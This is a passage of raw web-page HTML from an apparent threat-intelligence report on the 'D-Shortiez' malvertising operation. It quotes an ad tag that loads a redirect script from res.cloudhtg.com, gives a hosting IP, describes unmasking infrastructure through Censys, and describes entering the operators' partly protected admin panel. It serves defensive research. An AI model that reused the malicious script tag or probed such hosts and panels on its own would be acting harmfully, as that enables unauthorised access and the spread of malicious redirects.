https://substackcdn.com/image/fetch/$s_!EY3c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6eb76084-3b24-4efd-8a94-e31b94c73a84_391x114.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Figure 8: </strong>Baota/Pagoda Panel credentials discovered in D-Shortiez test page</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!M_uX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M_uX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 424w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 848w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 1272w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!M_uX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png" width="548" height="571" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d3038dda-a603-4a19-90b3-11bca52315c1_548x571.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:571,&quot;width&quot;:548,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!M_uX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 424w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 848w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 1272w, https://substackcdn.com/image/fetch/$s_!M_uX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3038dda-a603-4a19-90b3-11bca52315c1_548x571.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 9: </strong>Baota Linux Panel login interface served from the host IP address(Chinese-language only)</p><p>This combination of language evidence and infrastructure choices confirms Chinese-speaking operators, consistent with timezone patterns we observed in their update schedule.</p><h2>Discovery of a Second Cluster</h2><p>Late November 2025, we identified new D-Shortiez activity from domains not present in the original test page. Testing revealed these domains shared the same technical fingerprints as the main cluster but were hosted on separate infrastructure.</p><p>We exposed the new cluster&#8217;s origin IP by locating a second test page. When we requested the file 01.html from the domain jswdfs[.]com, the server responded with an ad tag containing the domain res.cloudhtg[.]com.</p><p>The result of testing the new cluster&#8217;s domain for the file 01.html:</p><p><strong>curl -s https://www.jswdfs[.]com/01.html</strong></p><p>&lt;div id=&#8221;inner_c_jpg_300&#8221;&gt;</p><p>&lt;a href=&#8221;https://aaa.com&#8221; target=&#8221;_blank&#8221; position-id=&#8221;inner_c_jpg_300_a&#8221;&gt;</p><p>&lt;img src=&#8221;https://img.cloudhtg.com/20250712153836_3485.jpg&#8221;&gt;&lt;/a&gt;</p><p>&lt;script src=&#8221;https://res.cloudhtg.com/dvsequence.js?debug=11111&#8221;&gt;&lt;/script&gt;</p><p>&lt;/div&gt;</p><p>This domain had been scanned by Censys before it was routed through Cloudflare, revealing its true IP: 156.234.103.174 (Hong Kong). The Censys page showed certificate data linking it to bt.cn Baota/Pagoda panel, confirming the same infrastructure pattern as the main cluster.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ntgi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ntgi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 424w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 848w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 1272w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ntgi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png" width="1456" height="540" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:540,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ntgi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 424w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 848w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 1272w, https://substackcdn.com/image/fetch/$s_!Ntgi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c58e74d-ca37-4cb2-810d-ce7c20a46da8_1456x540.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 10: </strong>Censys search results revealing D-Shortiez infrastructure IP (156.234.103.174) before Cloudflare routing</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1xIF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1xIF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 424w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 848w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1xIF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg" width="997" height="191" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:191,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1xIF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 424w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 848w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!1xIF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cec248a-2d80-467a-a9df-e7795443f759_997x191.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GHj_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GHj_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 424w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 848w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GHj_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg" width="880" height="156" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:156,&quot;width&quot;:880,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GHj_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 424w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 848w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!GHj_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8424cf-f937-4fb8-bf97-9853c0e88ad4_880x156.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Figure 11: </strong>SSL certificate data from Censys showing bt.cn Baota/Pagoda Panel references in certificate subject and issuer fields</p><h2>Accessing the Second Cluster&#8217;s Admin Panel</h2><p>Three days after linking the new cluster to D-Shortiez, we discovered their administrative panel at a URL path accessible from any cluster domain. Initially unprotected, it became password-protected shortly after our discovery.</p><p>The password was<strong> </strong>123*****<strong>.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bqry!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bqry!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 424w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 848w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 1272w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bqry!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png" width="1156" height="352" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:352,&quot;width&quot;:1156,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bqry!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 424w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 848w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 1272w, https://substackcdn.com/image/fetch/$s_!Bqry!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ec8fbe8-e7e9-4e89-a536-d4f3a9930f8f_1156x352.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 12: </strong>Admin panel password prompt (password: 123*****)</p><p>The admin panel displayed active campaign data in a table with columns for:</p><ul><li><p>Ad source (platform name)</p></li><li><p>Tag ID</p></li><li><p>Targeted platform (Desktop/Mobile)</p></li><li><p>Failed redirects per thousand</p></li><li><p>Successful redirects per thousand</p></li><li><p>Binom TDS domain</p></li><li><p>Campaign status (run/approving)</p></li><li><p>Toggle button to switch campaign state</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zrxd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zrxd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zrxd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg" width="1456" height="965" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:965,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zrxd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zrxd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c72bfc2-a3d5-419d-a5dc-e6a8499513ba_1456x965.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 